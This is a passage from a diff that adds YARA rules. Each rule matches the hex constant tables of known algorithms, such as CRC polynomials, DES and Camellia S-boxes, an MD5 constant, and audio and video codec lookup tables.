+	$a0 = { ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca18217c32905e462e36ce3be39e772c180e86039b2783a2ec07a28fb5c55df06f4c52c9de2bcbf6955817183995497cea956ae515d2261898fa051015728e5a8aaac42dad33170d04507a33a85521abdf1cba64ecfb850458dbef0a8aea71575d060c7db3970f85a6e1e4c7abf5ae8cdb0933d71e8c94e04a25619dcee3d2261ad2ee6bf12ffa06d98a0864d87602733ec86a64521f2b18177b200cbbe117577a615d6c770988c0bad946e208e24fa074e5ab3143db5bfce0fd108e4b82d120a92108011a723c12a787e6d788719a10bdba5b2699c327186af4e23c1a946834b6150bda2583e9ca2ad44ce8dbbbc2db04de8ef92e8efc141fbecaa6287c59474e6bc05d99b2964fa090c3a2233ba186515be7ed1f612970cee2d7afb81bdd762170481cd0069127d5b05aa993b4ea988d8fddc186ffb7dc90a6c08f4df435c93402849236c3fab4d27c7026c1d4dcb2602646dec9751e763dba37bdf8ff9406ad9e530ee5db382f413001aeb06a53ed9027d831179727b0865a8918da3edbebcf9b14ed44ce6cbaced4bb1bdb7f1447e6cc254b332051512bd7af426fb8f401378cd2bf5983ca01c64b92ecf032ea15d1721d03f482d7ce6e74fef6d55e702f46980c82b5a84031900b1c9e59e7c97fbec7e8f323a97a7e36cc88be0f1d45b7ff585ac54bd407b22b4154aacc8f6d7ebf48e1d814cc5ed20f8037e0a79715eef29be32806a1d58bb7c5da76f550aa3d8a1fbff0eb19ccb1a313d55cda56c9ec2ef29632387fe8d76e3c0468043e8f663f4860ee12bf2d5b0b7474d6e694f91e6dcc4024ffffffffffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x5005713c__32_big_refl_False_
+{
+strings:
+	$a0 = { 000000005005713ca00ae278f00f93441010b5cc4015c4f0b01a57b4e01f268820216b9870241aa4802b89e0d02ef8dc3031de546034af68903b3c2cc03e4d104042d7301047a60ce0483548b04d4474505262fc005713c0f0588084a05df1b86063bca83066cd94c0695ed0906c2fec7073096420767858d079eb1c807c9a208085ae60d080df5c208f4c18708a3d2490951bacc0906a90309ff9d4609a88e8a0a4c5f8f0a1b4c400ae278050ab56bcb0b47034e0b1010810be924c40bbe370c0c7795090c2086c60cd9b2830c8ea14d0d7cc9c80d2bda070dd2ee420d85fd8e0e612c8b0e363f440ecf0b010e9818cf0f6a704a0f3d63850fc457c00f93440510e2dfc010b5cc0f104cf84a101beb8411e9830111be90ce1147a48b1110b74712f4664212a3758d125a41c8120d520613ff3a8313a8294c13511d0913060ec114cfacc41498bf0b14618b4e1436988015c4f0051593e3ca156ad78f153dc44316d91546168e0689167732cc1620210217d2498717855a48177c6e0d172b7dcd18b839c818ef2a0718161e4218410d8c19b3650919e476c6191d4283194a514f1aae804a1af993851a00a7c01a57b40e1ba5dc8b1bf2cf441b0bfb011b5ce8c91c954acc1cc259031c3b6d461c6c7e881d9e160d1dc905c21d3031871d67224b1e83f34e1ed4e0811e2dd4c41e7ac70a1f88af8f1fdfbc401f2688051f719bca21c5bf8f2192ac40216b9805213c8bcb20cee34e2099f0812060c4c42037d70823d3060d238415c2237d2187232a324922d85acc228f490322767d4622216e8e25e8cc8b25bfdf442546eb012511f8cf24e3904a24b48385244db7c0241aa40c27fe750927a966c6275052832707414d26f529c826a23a07265b0e42260c1d82299f598729c84a4829317e0d29666dc32894054628c31689283a22cc286d31002b89e0052bdef3ca2b27c78f2b70d4412a82bcc42ad5af0b2a2c9b4e2a7b88862db22a832de5394c2d1c0d092d4b1ec72cb976422cee658d2c1751c82c4042042fa493012ff380ce2f0ab48b2f5da7452eafcfc02ef8dc0f2e01e84a2e56fb8f3127604a31707385318947c031de540e302c3c8b307b2f4430821b0130d508cd3331d9c83366ca07339ffe4233c8ed8c323a8509326d96c63294a28332c3b14b350a134e355d008135a434c435f3270a34014f8f34565c4034af680534f87bc9371caacc374bb90337b28d4637e59e883617f60d3640e5c236b9d18736eec247397d8642392a958d39d3a1c83984b2063876da833821c94c38d8fd09388feec53b6b3fc03b3c2c0f3bc5184a3b920b843a6063013a3770ce3ace448b3a9957433d50f5463d07e6893dfed2cc3da9c1023c5ba9873c0cba483cf58e0d3ca29dc13f464cc43f115f0b3fe86b4e3fbf78803e4d10053e1a03ca3ee3378f3eb4244 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_On2_Vp3_predictor_transform__32_big_256_
+{
+strings:
+	$a0 = { 0000000000000000000000000000000000000000000000000000000000000080000000000000000000000080000000000000000000000000000000350000004B0000000000000080000000000000000000000000000000400000000000000040000000000000008000000000000000000000000000000000000000350000004B0000008000000000000000000000000000000000000000000000000000000080000000400000000000000040000000000000000000000000000000350000004B00000000000000800000000000000000FFFFFF9800000074000000000000007400000018000000500000001800000000FFFFFF98000000740000000000000074 }
+
+condition:
+	$a0
+}
+
+	
+rule DES_S_boxes__8_byt_512_
+{
+strings:
+	$a0 = { 0e040d01020f0b08030a060c05090007000f07040e020d010a060c0b0905030804010e080d06020b0f0c0907030a05000f0c080204090107050b030e0a00060d0f01080e060b03040907020d0c00050a030d04070f02080e0c00010a06090b05000e070b0a040d0105080c060903020f0d080a01030f04020b06070c00050e090a00090e06030f05010d0c070b0402080d0700090304060a0208050e0c0b0f010d060409080f03000b01020c050a0e07010a0d0006090807040f0e030b05020c070d0e030006090a010208050b0c040f0d080b05060f00030407020c010a0e090a0609000c0b070d0f01030e05020804030f00060a010d080904050b0c07020e020c0401070a0b060805030f0d000e090e0b020c04070d0105000f0a030908060402010b0a0d07080f090c050603000e0b080c07010e020d060f00090a0405030c010a0f09020608000d03040e07050b0a0f0402070c090506010d0e000b0308090e0f0502080c030700040a010d0b060403020c09050f0a0b0e01070600080d040b020e0f00080d030c0907050a06010d000b070409010a0e03050c020f080601040b0d0c03070e0a0f060800050902060b0d0801040a070905000f0e02030c0d020804060f0b010a09030e05000c07010f0d080a0307040c05060b000e0902070b0401090c0e0200060a0d0f03050802010e07040a080d0f0c09000305060b }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_1__16_big_258_
+{
+strings:
+	$a0 = { 40003ed03da03c713b423a1438e737bc3692356a3442331e31fa30d92fba2ea02d862c6d2b542a4229302824271826152512241423162221212c20401f541e701d8c1ca81bc41ae81a0d193b186917a216dc161c155c14a613f01343129811f6115410b310130f7d0ee80e5a0dce0d4b0cc80c4b0bcf0b5b0ae80a7c0a1109ac094708e2087d081f07c20769071206bc066d061f05d5058b0547050404c604890451041a03e303ad037b034a031d02f102c902a1027c02570236021501f701d901be01a30188016d0154013c0126011000fd00ea00d800c700b800a9009b008e00820076006a005f0055004b00420039003100290022001b0015000f000a00050000 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_s_from_var_func__flt32___32_big_244_
+{
+strings:
+	$a0 = { be9a209bbe82235bbe50b6b7be19d12dbdbf9c48bd0b7ad83ce68a433dbe35833e23da733e6af1023e9a209b3ebfd88c3ee694683f0724853f1b763e3f303aa83f456d6e3f5b0a813f710e453f83ba883f8f1de73f9aaf793fa66e443fb258a33fbe6d483fcaaae33fd710773fe39d5e3ff04fa03ffd273d40051149400ba0a54012410b4018f228401fb3a740268534402d6651403456d6403b56434042646f404981064050abb44057e426405f2a3040667daa406dde1640754b73407cc56d408225d94085ef204089be62408d938a40916e8340954f2240993569409d214240a1128440a5091840a904ff40ad062540b10c5f }
+
+condition:
+	$a0
+}
+
+	
+rule Baseking_RCE__32_big_48_
+{
+strings:
+	$a0 = { 0000000b000000160000002c00000058000000b000000071000000e2000000d5000000bb00000067000000ce0000008d }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdemux_tivo_Series2AudioWithPTS__32_lil_24_
+{
+strings:
+	$a0 = { 6001000090010000f0010000500200001003000070030000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xbdbdf21c__32_big_refl_True_
+{
+strings:
+	$a0 = { 000000000f40330f1e80661e11c055113d00cc3c3240ff332380aa222cc0992d0a9ee30305ded00c141e851d1b5eb612379e2f3f38de1c30291e4921265e7a2e153dc6061a7df5090bbda01804fd9317283d0a3a277d393536bd6c2439fd5f2b1fa3250510e3160a0123431b0e63701422a3e9392de3da363c238f273363bc282a7b8c0c253bbf0334fbea123bbbd91d177b4030183b733f09fb262e06bb152120e56f0f2fa55c003e65091131253a1e1de5a33312a5903c0365c52d0c25f6223f464a0a3006790521c62c142e861f1b024686360d06b5391cc6e0281386d32735d8a9093a989a062b58cf172418fc1808d865350798563a1658032b19183024246863632b28506c3ae8057d35a836721968af5f16289c5007e8c94108a8fa4e2ef6806021b6b36f3076e67e3f36d57113f64c5c1cb67f530d762a420236194d3155a5653e15966a2fd5c37b2095f0740c55695903155a5612d50f471d953c483bcb4666348b7569254b20782a0b137706cb8a5a098bb955184bec44170bdf4b0e13ef6f0153dc60109389711fd3ba7e331323533c53105c2d93454d22d37642048d0c6c0bcd3f631a0d6a72154d597d398dc05036cdf35f270da64e284d95411b2e2969146e1a6605ae4f770aee7c78262ee555296ed65a38ae834b37eeb04411b0ca6a1ef0f9650f30ac7400709f7b2cb0065623f03559323060483d705347384fbdbd370f8eb226cfdba3298fe8ac054f71810a0f428e1bcf179f148f249032d15ebe3d916db12c5138a023110baf0fd192820091a18d1151f49c1e11c7932d727bbb223248b433f21da53cb22eaa1072b7871f3284880ef2d19901b2e29627ec98b828acabb7396cfea6362ccda91aec548415ac678b046c329a0b2c0195123431b11d7402be0cb457af03f464a02f34fd8d2074ce8231b49b933ef4a89c18aad2b217eae1bd062ab4ac096a87a325aa1e8e2aea2d813b2a7890346a4b9f0709f7b70849c4b8198991a916c9a2a63a093b8b3549088424895d952bc96e9a0d9714b402d727bb131772aa1c5741a53097d8883fd7eb872e17be9621578d991c27dede1367edd102a7b8c00de78bcf212712e22e6721ed3fa774fc30e747f316b93ddd19f90ed208395bc3077968cc2bb9f1e124f9c2ee353997ff3a79a4f0091a18d8065a2bd7179a7ec618da4dc9341ad4e43b5ae7eb2a9ab2fa25da81f50384fbdb0cc4c8d41d049dc51244aeca3e8437e731c404e8200451f92f4462f6365c52d2391c61dd28dc34cc279c07c30b5c9eee041cade115dcf8f01a9ccbff3cc2b1d1338282de2242d7cf2d02e4c001c27ded0e824ee21f421bf3100228fc236194d42c21a7db3de1f2ca32a1c1c51e6158e811216be700e13ef60fa10df929ff77d726bf44d8377f11c9383f22c614ffbbeb1bbf88e40a7fddf5053feefa }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_base_cos__16_big_130_
+{
+strings:
+	$a0 = { 7FFF7FE27F697EA57D917C317A84788C764873BD70E96DD16A7466D662F85EDD5A8855FB51394C45472241D33C5B36BE30FF2B23252B1F1D18FB12CA0C8E06490001F9B9F375ED38E707E0E6DAD7D4E0CF03C944C3A7BE30B8E1B3BDAEC9AA07A57AA1259D0A992C958E92318F188C4589B98776857D83D08270815D809880208000 }
+
+condition:
+	$a0
+}
+
+	
+rule Quake_3_msg_hData__huffman___32_lil_1024_
+{
+strings:
+	$a0 = { cbd10300e9a0000094180000c21b0000920e0000a60e0000de170000f35a000025820000261b00009e1e0000f2250000292400006b4300006d0f0000f20600006020000044060000360600007f0600004c040000bd040000d60400006e040000d506000023040000de0400007d040000f904000086110000f50a0000900d00003b55000087040000860600002a04000013040000f40300001d0400002e040000be060000780300009c04000052030000c00300000c030000d8060000e00c000086290000a2110000f91600007d0a00002a120000fd0e00002d0800004b070000180a00009d070000b4070000ac0300006e040000fc06000086060000b604000057160000f0170000361c0000fe1900007e0e0000d30e0000d4050000f4050000a7080000740400004b050000cb03000084080000e004000030050000ab040000ea06000036040000f0040000f204000090040000c503000083040000a204000043050000cc040000f905000040060000390a000000080000f2090000cb0c00006a090000010e0000c8090000f00a0000730a0000021800004f0e0000180b0000ad3700005c0c0000ad08000097060000880c0000b30a0000b80d0000bc120000fb0f0000bb0d0000a8140000b00f0000011f00008f170000f0140000540f00001c1300009f0e0000d6110000c7120000dc160000001900005118000063200000cb5a00009e1e0000a11b0000e72200003d15000083110000390e000088140000c0140000d0140000fa140000a40d00009a0900009e0600001d070000490800007c0700007d040000ec05000057050000d404000005040000ea04000050040000dd040000ee0300007d04000001040000d9040000b803000007050000e5030000b1060000f1030000a30400006f0300004b040000a103000036040000b703000078060000a20300008104000006040000ee04000026040000be0400002404000055060000a203000052040000900300000a0400007c03000086040000de030000970400005203000061040000870300003f040000980300007804000020040000860d0000c00800002d110000682f00004e1e0000410500001b050000ce0c00009e07000076030000ff030000580400003504000012040000250400002f040000cc050000e903000048040000930300001c040000e30300002e0400006c03000057040000530300002304000025030000580400009b0300004f040000310300006b07000050070000d00300004903000067040000bc03000087040000b60300006f1e0000ba03000009050000a503000067040000870c0000fc0300009f0300004b0500000003000010040000e9020000b80300002503000031040000e4020000f503000025030000f00300001c030000e403000021040000c12c0000c0340000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_atrac_subbandTab__16_big_66_
+{
+strings:
+	$a0 = { 0000000800100018002000280030003800400050006000700080009000a000b000c000e00100012001400160018001a001c001e002000240028002c0030003800400 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_nuppelvideo_fallback_lquant__8_byt_64_
+{
+strings:
+	$a0 = { 100b0a101828333d0c0c0e131a3a3c370e0d1018283945380e11161d3357503e12162538446d674d182337405168715c31404e5767797865485c5f6270646763 }
+
+condition:
+	$a0
+}
+
+	
+rule Lucifer__outerbridge__DFLTKY__8_byt_16_
+{
+strings:
+	$a0 = { 0123456789abcdeffedcba9876543210 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_sa_quant__flt32___32_big_64_
+{
+strings:
+	$a0 = { 00000000000000003d4d35a83e3611343d9096bc3e9048173dcbc6a83ee4b5dd3e0f41f23f0ff2e53e4865953f3538ef3e8ae7d53f642c3d3ebd63883f800000 }
+
+condition:
+	$a0
+}
+
+	
+rule openbsd_hw_c_do_digest_md5zero__8_byt_16_
+{
+strings:
+	$a0 = { d41d8cd98f00b204e9800998ecf8427e }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_5_CCITT_poly_0x0b__8_byt_refl_True_
+{
+strings:
+	$a0 = { 00e56b8ed633bd580de86683db3eb0551aff7194cc29a74217f27c99c124aa4f34d15fbae207896c39dc52b7ef0a84612ecb45a0f81d937623c648adf5109e7b688d03e6be5bd53065800eebb356d83d729719fca441cf2a7f9a14f1a94cc2275cb937d28a6fe10451b43adf8762ec0946a32dc89075fb1e4bae20c59d78f613d035bb5e06e36d88dd38b6530bee6085ca2fa1441cf97792c722ac4911f47a9fe4018f6a32d759bce90c82673fda54b1fe1b957028cd43a6f316987d25c04eabb85dd3366e8b05e0b550de3b638608eda247c92c74911ffaaf4ac421799c12f78c69e7025abf31d48164ea0f57b23cd99673fd1840a52bce9b7ef0154da826c3 }
+
+condition:
+	$a0
+}
+
+	
+rule camellia_sp4404__32_big_1024_
+{
+strings:
+	$a0 = { 707000702c2c002cb3b300b3c0c000c0e4e400e457570057eaea00eaaeae00ae232300236b6b006b45450045a5a500a5eded00ed4f4f004f1d1d001d9292009286860086afaf00af7c7c007c1f1f001f3e3e003edcdc00dc5e5e005e0b0b000ba6a600a639390039d5d500d55d5d005dd9d900d95a5a005a515100516c6c006c8b8b008b9a9a009afbfb00fbb0b000b0747400742b2b002bf0f000f084840084dfdf00dfcbcb00cb34340034767600766d6d006da9a900a9d1d100d104040004141400143a3a003adede00de11110011323200329c9c009c53530053f2f200f2fefe00fecfcf00cfc3c300c37a7a007a24240024e8e800e86060006069690069aaaa00aaa0a000a0a1a100a162620062545400541e1e001ee0e000e0646400641010001000000000a3a300a3757500758a8a008ae6e600e609090009dddd00dd8787008783830083cdcd00cd9090009073730073f6f600f69d9d009dbfbf00bf52520052d8d800d8c8c800c8c6c600c6818100816f6f006f1313001363630063e9e900e9a7a700a79f9f009fbcbc00bc29290029f9f900f92f2f002fb4b400b47878007806060006e7e700e771710071d4d400d4abab00ab888800888d8d008d72720072b9b900b9f8f800f8acac00ac363600362a2a002a3c3c003cf1f100f140400040d3d300d3bbbb00bb4343004315150015adad00ad777700778080008082820082ecec00ec27270027e5e500e585850085353500350c0c000c41410041efef00ef9393009319190019212100210e0e000e4e4e004e65650065bdbd00bdb8b800b88f8f008febeb00ebcece00ce303000305f5f005fc5c500c51a1a001ae1e100e1caca00ca474700473d3d003d01010001d6d600d6565600564d4d004d0d0d000d66660066cccc00cc2d2d002d1212001220200020b1b100b1999900994c4c004cc2c200c27e7e007e05050005b7b700b73131003117170017d7d700d758580058616100611b1b001b1c1c001c0f0f000f16160016181800182222002244440044b2b200b2b5b500b59191009108080008a8a800a8fcfc00fc50500050d0d000d07d7d007d89890089979700975b5b005b95950095ffff00ffd2d200d2c4c400c448480048f7f700f7dbdb00db03030003dada00da3f3f003f949400945c5c005c020200024a4a004a3333003367670067f3f300f37f7f007fe2e200e29b9b009b26260026373700373b3b003b969600964b4b004bbebe00be2e2e002e797900798c8c008c6e6e006e8e8e008ef5f500f5b6b600b6fdfd00fd59590059989800986a6a006a46460046baba00ba2525002542420042a2a200a2fafa00fa0707000755550055eeee00ee0a0a000a494900496868006838380038a4a400a4282800287b7b007bc9c900c9c1c100c1e3e300e3f4f400f4c7c700c79e9e009e }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_32_1024__16_lil_102_
+{
+strings:
+	$a0 = { 040008000c001000140018001c0020002400280030003800400048005000580060006c00780084009000a000b000c400d800f00008012401400160018001a001c001e00100022002400260028002a002c002e00200032003400360038003a003c003e0030004 }
+
+condition:
+	$a0
+}
+
+	
+rule G_721__fitab__16_big_32_
+{
+strings:
+	$a0 = { 00000000000002000200020006000e000e000600020002000200000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_ac3_hearing_threshold_tab__16_lil_300_
+{
+strings:
+	$a0 = { d004f0048005d004f004800540046004b004000410045004e003e0032004c003d003f003b003c003e003b003b003d003a003b003c003a003a003b003a003a003b003a003a003b003a003a003a0039003a003a00390039003a00390039003a00380039003a00380038003a00370038003a00370038003a003600370039003600370039003500360039003500360039003400350038003400350038003300340038003200340037003100320036003000310035003f00200034003f002f0023003f002f0022003f002f00210030003f002000310030003f00240032003f00290035003f002e003900300032004e0031003600420043003900450045003a004a004c00360049004100440046004700440044004a00420058004600400083006400440084008500440084008e004 }
+
+condition:
+	$a0
+}
+
+	
+rule Huffman_bookEscape__32_big_648_
+{
+strings:
+	$a0 = { 00000000000000020000000200000001000000020000000000000002000000030000000600000003000000030000000200000004000000040000000e00000005000000050000001f00000006000000050000000f00000007000000050000000d00000008000000060000003d00000009000000060000001d0000000a00000006000000190000000b00000006000000180000000c00000007000000780000000d00000007000000380000000e00000008000000f20000000f00000008000000720000001000000009000001e60000001100000009000000e6000000120000000a000003ce000000130000000a000001cf000000140000000b0000079e000000150000000b0000079f000000160000000b0000039d000000170000000c00000738000000180000000e00001ce7000000190000000d00000e720000001a0000000f000039cd0000001b000000140007398a0000001c000000140007398b0000001d000000140007398c0000001e000000140007398d0000001f000000140007398e00000020000000140007398f0000002100000014000739900000002200000014000739910000002300000014000739920000002400000014000739930000002500000014000739940000002600000014000739950000002700000014000739960000002800000014000739970000002900000014000739980000002a00000014000739990000002b000000140007399a0000002c000000140007399b0000002d000000140007399c0000002e000000140007399d0000002f000000140007399e00000030000000140007399f000000310000001300039cc0000000320000001300039cc1000000330000001300039cc2000000340000001300039cc3000000350000001300039cc4 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_quant__flt32___32_big_160_
+{
+strings:
+	$a0 = { 00000000000000000000000000000000000000003e2a161e3e2a161e3eaa161e3eaa161e3eaa161e3eaa161e3eaa161e3f2a161e3f549ba63f549ba63eff212d3f2a161e3f7f212d3fbf58e23fd49ba63f2a161e3f7f212d3fbf58e2400a31f9401f73193f549ba63faa161e400a31f9403f573f405f3b643f7f212d3fe9de6a4034b5dd40747e284094d2893faa161e4014d1b7405f3b644094d28940ba075f }
+
+condition:
+	$a0
+}
+
+	
+rule Rar___unlzx_table_two__32_big_128_
+{
+strings:
+	$a0 = { 000000000000000100000002000000030000000400000006000000080000000c00000010000000180000002000000030000000400000006000000080000000c00000010000000180000002000000030000000400000006000000080000000c00000010000000180000002000000030000000400000006000000080000000c000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_vlc_level__8_byt_409_
+{
+strings:
+	$a0 = { 010201030401020506010107080101020304090a0b010101010202030506070c0d0e0f10110101010102020303040508121314151603040506090a0b00000304060c0d0e0000000002020202030305070708090a0b0f101100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff00 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x1db71064__32_lil_refl_False_
+{
+strings:
+	$a0 = { 000000006410b71dc8206e3bac30d9269041dc76f4516b6b5861b24d3c7105502083b8ed44930ff0e8a3d6d68cb361cbb0c2649bd4d2d38678e20aa01cf2bdbd2416c6c6400671dbec36a8fd88261fe0b4571ab0d047adad7c77748b1867c39604957e2b6085c936ccb51010a8a5a70d94d4a25df0c415405cf4cc6638e47b7b2c3c3b90482c8c8de41c55ab800ce2b6bc7de7e6d86d50fb745d89dd104d3ec00cbf837d68af3460c49fed46a08f5a5b9cfe5f0bf8eee81654de313030ce862d082afd566c3a4a4bc00a936da41a2470986b2120fc7b963d504b4f1b345bf80628a945bb4cb9f2a6e0892b8084999c9db8e899cddcf82ed070c8f7f614d840eb3c68c13d58787620f448af069058181bac291d4bc839aa56640973700019c46d1ceb79d078fbcecdd4cb17ebb0dba0f68caaa5a6e8ba12bb448acb9d209a7c80187e07fb7c6eb0e6d05e69c0b44ededd883fdb8dec2f6c90401fb5b6240f02ab38fdbf165ced080bf0ddd12d94cd6630a8bc6360ccacd47d609c0d5b048cba461054faad74444db0d8749496bc64238b801526dbe40591c6483548e02c25fffd30d7424054c7f55df8f72c7b9ce79b66a0969e36c486292b68b6f00d0ca6471034423c6b50528b76fc6252509872e54da403e01dc01357006c238e260833393b14c1848670d1339bdce1eabdb8f15da0848058f0e090efed4ca036cb28b081d678d0827b1cc03566b0f0ec40d4e05b5de8915e0d8c81e91020b1303644a1872b58533a963c438d8b907354adf463e3b0c812e6e0ac0251fd003288db64223fc65cc644bd38d6f3a094e62a86f0f69d9bcc8798cba8972fd604a7f6f060b741ed7c45fc5018554b4db465926bd0752576ec0420268814973b24244e1d4034f90054ecb9eb30fc0ef69cccd7d0f8dc60cdc4ad659da0bdd2800c8d0ba6689dbcbb746f0106107fb61bbc4f6f3dd85fd820e42edd70803e6a6d2c0eb34b481e045670fa7f2d14eac830b8da1116dccaa60be0bba35b84ab1446289bcd604c8b7a7d5079c7c0346970dd9859a9fbfc491ee6c0381bb6a428acab0818758d6c08c29044b8434620a8f45b8c982d7de8889a60d4f99f30b0e9282d1cd9f10b78c94616643bfbab002b4cb6ac1b9590c80b228df47a27dd906a90c03c5a49e6584afefb60ae858004be329da88eebbbcc9e5ca6f0ef59f694ffeeeb38cf37cd5cdf80d0402d3d6d243d8a70880d5356ec1de44bd06ce11bb47c5606184c8f207c5c383d688478d60c94cfcba0a416edc4b4a1f0f8c5a4a09cd513bd30e5ca9b54f57d864807c03b2c1777268027ae00e437191dd8461c4dbc56ab50106672767476c56b4c92be102882090d84b2d02be0a26736dcd36266b8c3d57b14f30c5d70e3bb406c1106fd0801b1e0a43168c6c021dfdbfc50da8b98406d963470b4b0506003ad }
+
+condition:
+	$a0
+}
+
+	
+rule Vorbis_FLOOR1_fromdB_LOOKUP__flt64___64_big_2048_
+{
+strings:
+	$a0 = { 3e7c9687b6622afb3e7e72211ef8f8a93e8036516543d7e73e81440778a2f2673e8263446f17cce63e83952c0cd58eca3e84daf4d264c67d3e8635e964ed21d73e87a76a0d03c2113e8930edf1ebbd1c3e8ad4046b5b3a8d3e8c9256f0e0d1253e8e6daa98b1dac93e9033f10387e90a3e91417f81cda0e33e9260926ca816013e93924d2e3801af3e94d7e6308156d23e9632a7eba28c353e97a3f26fe53e3e3e992d3c8a7a14c63e9ad0159317375f3e9c8e26b27b1c763e9e6934bb4d4b5c3ea03190f63d41653ea13ef7f04d0b3c3ea25de0c9ebf4173ea38f6eba9057543ea4d4d7ff34f0c93ea62f66e89027153ea7a07b435dc40c3ea9298bc0a8ad1e3eaacc275e149bc23eac89f71cf7f6393eae64bf7b88fc9c3eb02f31430507db3eb13c70b33dbcce3eb25b2f814240483eb38c90a69c41f53eb4d1ca333d469d3eb62c265614cb963eb79d0492afa13e3eb925db8394117f3ebac839bb6ff3103ebc85c814319c063ebe604ae4a73c4f3ec02cd1e16d82193ec139e9e9960b723ec2587ea92f961a3ec389b30e8183fa3ec4cebcf131d50a3ec628e647e481cf3ec7998e7a00983e3ec9222bbf8839d43ecac44cab293d493ecc8199c260b1793ece5bd6f9789de33ed02a72e52ab8353ed13763745fa14e3ed255ce33a114593ed386d5d8eaee6d3ed4cbb018b3fc7e3ed625a6aa4b41a83ed79618d1e898de3ed91e7c88392e323edac0602ea8c4253edc7d6bf643225b3ede5763b0231d503ee028143d5935893ee134dd61ad5f983ee2531e2096bb063ee383f913eb62803ee4c8a3b0cd2d933ee6226792655cf13ee792a3b68d65883ee91acdebb9cfce3eeabc7437dba6713eec793ee11b02e23eee52f11dc30c623ef025b5e9f8fa173ef13257b17f464f3ef2506e70108a1f3ef3811cb16fff013ef4c597b273f7af3ef61f28e40d11413ef78f2f165764ba3ef9171fc6daeba53efab888e9f1172e3efc75124a9cce3f3efe4e7f0d919e973f002357f21376773f012fd2507b5fcb3f024dbf2c9caa8c3f037e40c3105d6f3f04c28c364964ee3f061beab9a5c4da3f078bbaf14696753f0913723784a0463f0ab49e318f20b63f0c70e65b3ecbe83f0e4a0dbee3c9593f1020fa5689d8be3f112d4d5905124e3f124b104584b0e03f137b6539d86e853f14bf81281251943f1618ad0a63aafb3f178847548cadd83f190fc52c1f54303f1ab0b3fd1e29863f1c6cbb1bccc89c3f1e459d0e8a59a53f201e9d175c20eb3f212ac8b51eddf73f224861c39469da3f23788a15c832413f24bc76909a8a623f26156fdaacaa053f2784d44029aae53f290c18a4ab07633f2aacca670197e13f2c6890531a11783f2e412d09b7029d3f301c402525a8ad3f312844815f1c373f3245b3af97a23c3f3375af6cdd28863f34b96c5c1782a73f36123318e928763f378161a285f41a3f39086cbb8b20203f3aa8e154d605853f3c64663a5359603f3e3cbda9d0eab03f4019e390648fed3f4125c0a015fa053f424305f9103a1b3f4372d52c663e393f44b662a086ba433f460ef6d017e63f3f477def88d33c973f4904c14b5d78363f4aa4f8dc98f2533f4c603cc0fa806a3f4e384ef45771d63f501787539976b33f51233d16c2d7593f524058b07c51633f536ffb5463735c3f54b359636791303f560bbb0038e3603f577a7de29364753f5901166a1f8f853f5aa11103c9be433f5c5c13e190269f3f5e33e0e94a98103f60152b71840cfc3f6120ba0661f4053f623dabbfde68303f636d21e21517f13f64b0507b7eb7a73f66087faecb7fd23f67770cd3825b803f68fd6c125206153f6a9d29a12d19903f6c57eba4535bf33f6e2f73782c3d743f7012cfe4a4f2ce3f711e373ab940513f723aff2f758e773f736a48ddba3bee3f74ad481d063d5f3f760544d9100b983f77739c470279d63f78f9c243f4dbe63f7a9942e37db3f83f7c53c3f766287e3f7e2b06abfb21f33f801074b48b4c1f3f811bb4d994700a3f8238530d0034263f8367704073a75b3f84aa401ec2d2923f86020a714816c53f87702c2f554f8a3f88f618ff0810f93f8a955caf3eada13f8c4f9cf6456c1b3f8e269a84b7458d3f900e19da57e0f93f911932ce55db4b3f9235a74e2f854b3f9364980db0f6353f94a738ad5f63013f95fed099cfb92a3f976cbc96c9b08e3f98f2704a6add443f9a91771c7d4a6a3f9c4b767e950ef93f9e222f101f182f3fa00bbf597a4d573fa116b12d9b29f93fa232fbef93e5ea3fa361c04a9992743fa4a4319a7934ed3fa5fb97296ba3003fa7694d904576c63fa8eec80e0ffce73faa8d92132c46743fac4750aa1a22f43fae1dc4362555fb3fb0096532ce78373fb1142fde7b31353fb23050fc5810f43fb35ee8f72d7c183fb4a12afb89d7373fb5f85e3149e02f3fb765defdb80d5e3fb8eb20680804ba3fba89ad934ba1bf3fbc432b78d4a80d3fbe195a192616c03fc0070b6208dea13fc111aee98cf6f43fc22da66be500753fc35c120f2130263fc49e24d9284fd53fc5f525b16a70b73fc76270e36cf74f3fc8e7794b706bce3fca85c9ae0968343fcc3f06d0ff8c683fce14f07d0030d23fd004b1eb75038d3fd10f2e666fcb953fd22afc37c96ff63fd3593b859225b23fd49b1f154409f03fd5f1edae18d7923fd75f035b2946753fd8e3d2ad8c6ab23fda81e669d6de4